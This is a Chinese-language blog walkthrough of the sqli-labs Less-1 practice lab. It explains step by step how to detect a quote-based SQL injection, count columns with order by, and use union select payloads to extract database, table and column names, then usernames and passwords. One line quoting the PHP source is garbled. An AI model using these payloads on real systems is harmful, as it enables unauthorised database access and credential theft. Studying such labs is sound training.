sqli-labs之less1

在这里插入图片描述
题目提示输入id作为参数数值

浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的。

首先尝试传递 id=0
在这里插入图片描述

传递id=1试一下
在这里插入图片描述
发现查询成功,证明1是存在的

下面接着以0为例子
加上 ‘ 来试试
在这里插入图片描述
%27 是指 ’ 的编码
发现页面回显且报错
报错信息的最后面的内容:use near ’‘0’‘ LIMIT 0,1’ at line 1,仔细观察,我们都知道php的语句如果有 ’ 的话,肯定要有另一个 ‘ 来进行闭合,不然就是不完整的语句。那我们不妨假设一下最前面的 ‘ 是和1后面的 ‘ 是闭合的,那么现在剩余的 ‘ 就只有0附近的了。既然 ‘ 是闭合的那么 ‘0’’ 就意味着多了一个 ‘ ,而这个就是我们多注入的那个,所以在这个假设的前提下我们可以知道这个sql的语句应该为 id=‘$id’。
那我们去看下真正的sql语句:sqli-labs\Less-1中的index.php
在这里插入图片描述
可以发现我们的猜测是正确的,那么接下来就可以开始注入了。
首先尝试传递 ?id=-1 可以发现页面没有变化
在这里插入图片描述
证明id=-1不在这个数据库中

那么我们再尝试一下 ?id=-1’ or 1=1 --+
在这里插入图片描述
可以发现是正确的,那么为什么会是正确的呢?
我们已经知道了sql语句,那么把这个内容带入sql语句。会发先变成了 id=‘-1’ or 1=1 --+’ ,这个–+是注释的作用,所以语句就变成了id=‘-1’ or 1=1。 那么即使-1不存在,但是1=1是正确的,那么后面这个语句就是正确的,学过C语言的同学都应该知道,and和or的作用,如果条件正确就是1,不正确就是0,我们已经知道0是不存在的,1是存在的,所以查询成功
(不知道是不是,我利用自己目前的知识解释一下,之后懂了再改
输入?id=-1’ or 1=1 --+
源码是 s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";
替换之后是$sql=“SELECT * FROM users WHERE id=’-1’ or 1=1 --+’ LIMIT 0,1”;
之前只输入id=-1时因不存在而出错,现在因为加入了or 1=1,逻辑上正确。在php中,单引号不处理,双引号进行编译,编译时词法分析器只会记录单引号的数量,不会像人一样进行配对。目前在–+之前有4个单引号,数量正确,所以语句格式也是正确的。)

order by的作用是查询字段数,接下来我们利用 order by 来判断users表中有几列,输入?id=1’ order by 1 %23 (%23 是指 # 的编码)
在这里插入图片描述
试过之后发现4不存在
在这里插入图片描述
那么我们可以知道这个数据中只有3个字段

输入?id=-1’ union select 1,2,3 %23
在这里插入图片描述
可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息。

现在介绍一下第一个注入语句:?id=-1’ union select 1,2,database() --+
union()这个函数有一个特点,就是当前面的语句不正确或不存在时才会执行后面语句,这就是为什么要上传id=-1的原因,我们可以试一下把id=1来传递,来试一下到底是不是这样
在这里插入图片描述
可以发现union后面的语句确实没有执行。
Database()是获得当前数据库名的函数
即id=‘-1’union select 1,2,database() --+’会执行select 1,2,database()这条命令,会查询当前的数据库名。
在这里插入图片描述
可以看到当前数据库名为 security

知道数据库名了,接下来就是拆解表了。
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着

下面使用?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 来查询security的数据表有哪些。
group_concat()函数的作用是连接一个组的所有字符串,并以逗号分隔每一条数据,也就是括号内的值information_schema.tables就是自带数据库的表的信息
table_schema=database()就是当前数据库
所以这个语句直接用中文翻译就是,查询从自带数据库的表的信息,来自database()数据库的表的信息,并将其连接,用逗号隔开。
在这里插入图片描述
查到 emails,referers,uagents,users ,显然users是用户数据表

下面来爆破列名(字段)使用?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users‘ --+,这条语句和上面的一样,只不过变成了爆破user表中的列名
在这里插入图片描述

然后就可以爆破列中的值了:?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users --+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
在这里插入图片描述
或者使用id=-1’ union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --+
在这里插入图片描述

(1)limit 0,1, 从你的表中的第0个数据开始,只读取一个;
(2)select 之后可以接一串数字:1,2,3…只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,这串数字的值和顺序是任意的,甚至可以是重复的,如:11,465,7461,35 或11,11,11,11,数字串的长度也是任意的,我们想获得多少列的数据,就写多少个数字。在Union注入时,如果我们通过测试已经知道了前面语句的字段数,就可以写入union 注入语句,但存在一个问题,我们虽然可以通过注入获得想要的信息,但这些信息必须能够返回到我们手中,对于网页来说,如何能够让数据回显是至关重要的。例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值